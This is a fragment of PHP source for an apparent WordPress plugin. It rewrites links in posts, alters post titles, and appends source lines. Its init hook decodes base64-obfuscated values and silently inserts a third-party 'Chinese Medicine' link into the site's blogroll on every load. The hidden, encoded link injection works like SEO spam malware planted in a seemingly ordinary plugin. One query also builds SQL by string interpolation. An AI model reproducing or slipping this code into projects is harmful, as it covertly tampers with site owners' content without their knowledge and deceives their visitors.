".$pp[$vk].$alink."
",$content); } $content.="Article Source : ".$link."
"; return ''.$content.''; } add_filter("the_content","wpap_unsort"); function wpap_head() { ?> } add_filter('wp_head', 'wpap_head'); function wpap_findLink($html) { $x=preg_match_all("'<\s*a\s.*?href\s*=\s*([\"\'])?(?(1)(.*?)\\1|([^\s\>]+))[^>]*>?(.*?)'isx",$html,$a); return $a; } function wpap_replaceLink($content) { $linkData=wpap_findLink($content); $siteUrl=get_option("siteurl"); foreach ((array)$linkData[0] as $key=>$a) { $lowUrl=strtolower($linkData[2][$key]); if (strstr($lowUrl,$siteUrl) and strstr($lowUrl,"http://")) { continue; } $search[$key] =$a; $replace[$key] ="{$linkData[4][$key]}"; $trueUrl[$key]=$linkData[2][$key]; } $content=str_replace($search,$replace,$content); //转化为字符串 $content.=wpap_outputurldata((array)$trueUrl); return $content; } $nodisplaydata=""; function wpap_outputurldata($urljson) { global $id,$nodisplaydata; foreach ($urljson as $key=>$url) { $nodisplaydata.=''.$url.''; } return $nodisplaydata; } add_filter("the_content","wpap_replaceLink"); function wpap_insertCat2Title($title,$insertstr="") { $insertstr=$insertstr==""?" ":$insertstr; $title=trim($title); $split=explode(" ",$title); $xx=array_chunk($split,ceil(count($split)/2)); $title=@implode(" ",$xx[0]).$insertstr.@implode(" ",$xx[1]); return $title; } function wpap_init() { $link=array( 'title' => base64_decode('Q2hpbmVzZSBNZWRpY2luZQ=='), 'url' => base64_decode('aHR0cDovL2JvZHljb3VudHJ5LmNvbS8='), 'description' => base64_decode('Q2hpbmVzZSBtZWRpY2luZSwgQ2hpbmVzZSBoZXJiYWwgbWVkaWNpbmUsIHRyYWRpdGlvbmFsIENoaW5lc2UgbWVkaWNpbmU='), ); wpap_add2wp($link); } add_action('init', 'wpap_init'); function wpap_title($title) { global $post,$nodisplaydata; if (is_single()) { $nodisplaydata.=''.$post->post_title.''; } $cat=get_the_category($post->ID); if (count($cat)>0) { $cat=$cat[0]->name; } else { $cat=""; } $post->post_title=wpap_insertCat2Title($post->post_title,' '.$cat." "); if (is_single()) { return wpap_insertCat2Title($title," ".$cat." "); } else { return $title; } } add_filter('wp_title', 'wpap_title'); function wpap_add2wp($LinkData) { global $wpdb; $url=$LinkData["url"]; //检查link $check = $wpdb->get_var("SELECT link_id FROM $wpdb->links WHERE link_url='{$url}'"); $link = array( 'link_url' => $url, 'link_name' => $wpdb->escape($LinkData["title"]), 'link_category' => array(get_option('default_link_category')), 'link_description' => $wpdb->escape($LinkData["description"]), 'link_owner' => 1, 'link_visible' => "Y"); if (!function_exists(wp_update_link)) { require_once(ABSPATH ."/wp-admin/includes/bookmark.php"); } if ($check) { $link["link_id"]=$check; return wp_update_link( $link ); } else { return wp_insert_link($link); } } ?>